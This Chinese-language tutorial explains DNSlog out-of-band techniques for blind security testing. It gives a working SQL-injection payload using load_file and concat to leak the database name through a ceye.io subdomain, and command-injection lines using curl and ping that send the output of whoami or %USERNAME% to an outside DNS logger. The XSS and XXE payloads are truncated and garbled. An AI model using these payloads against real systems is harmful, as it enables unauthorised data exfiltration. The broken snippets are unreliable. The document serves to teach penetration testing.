怎么合理利用DNSLOG进行无回显安全测试
在实际测试一些网站的安全性问题的时候,有些测试命令执行后是无回显的,我们可以写脚本来进行盲注,但有些网站会封禁掉我们的ip地址,这样我们可以通过设置ip代理池解决,但是遇到盲注往往效率很低,所以产生了DNSlog注入。
在使用dnslog之前我们需要先了解一下反引号符号:
符号:`
名称:反引号,上分隔符
位置:反引号,这个字符一般在键盘的左上角,数字1的左边,不要将其同单引号混淆
作用:反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。
DNSlog回显测试如下:
首先需要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A,然后再服务器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了,图示如下。
DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
这样说原理很抽象,下面通过实际例子看下。
http://ceye.io 这是一个免费的记录dnslog的平台,我们注册后到控制面板会给你一个二级域名:xxx.ceye.io,当我们把注入信息放到三级域名那里,后台的日志会记录下来。
0x01SQL盲注
就以sql盲注为例。深入理解下DNSlog注入过程:
通过DNSlog盲注需要用的load_file()函数,所以一般得是root权限。show variables like '%secure%';查看load_file()可以读取的磁盘。
1、当secure_file_priv为空,就可以读取磁盘的目录。
2、当secure_file_priv为G:\,就可以读取G盘的文件。
3、当secure_file_priv为null,load_file就不能加载文件。
通过设置my.ini来配置。secure_file_priv=""就是可以load_flie任意磁盘的文件。
在mysql命令行执行:select load_file('\\afanti.xxxx.ceye.io\aaa');其中afanti就是要注入的查询语句
查看平台,dnsLog被记录下来。
load_file()函数可以通过dns解析请求。
以sql-labs第五关:
payload:' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)-- -+
执行的sql语句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\',(select database()),'.xxxxx.ceye.io\abc'))),1,0)
查看dnslog日志,发现security数据库被查询出来:
0x02 XSS(无回显)
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
payload:>让src请求我们的dnslog平台
0x03 ×××F(无回显)
payload:
%remote;]>
0x04命令执行(无回显)
当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询请求,当命令真正被执行且平台收到回显时就能说明漏洞确实存在。
Linux
curl http://haha.xxx.ceye.io/`whoami
whoami`.xxxx.ceye.io
ping
Windows
ping %USERNAME%.xxx.ceye.io
以上就是怎么合理利用DNSLOG进行无回显安全测试的详细内容,更多请关注其它相关文章!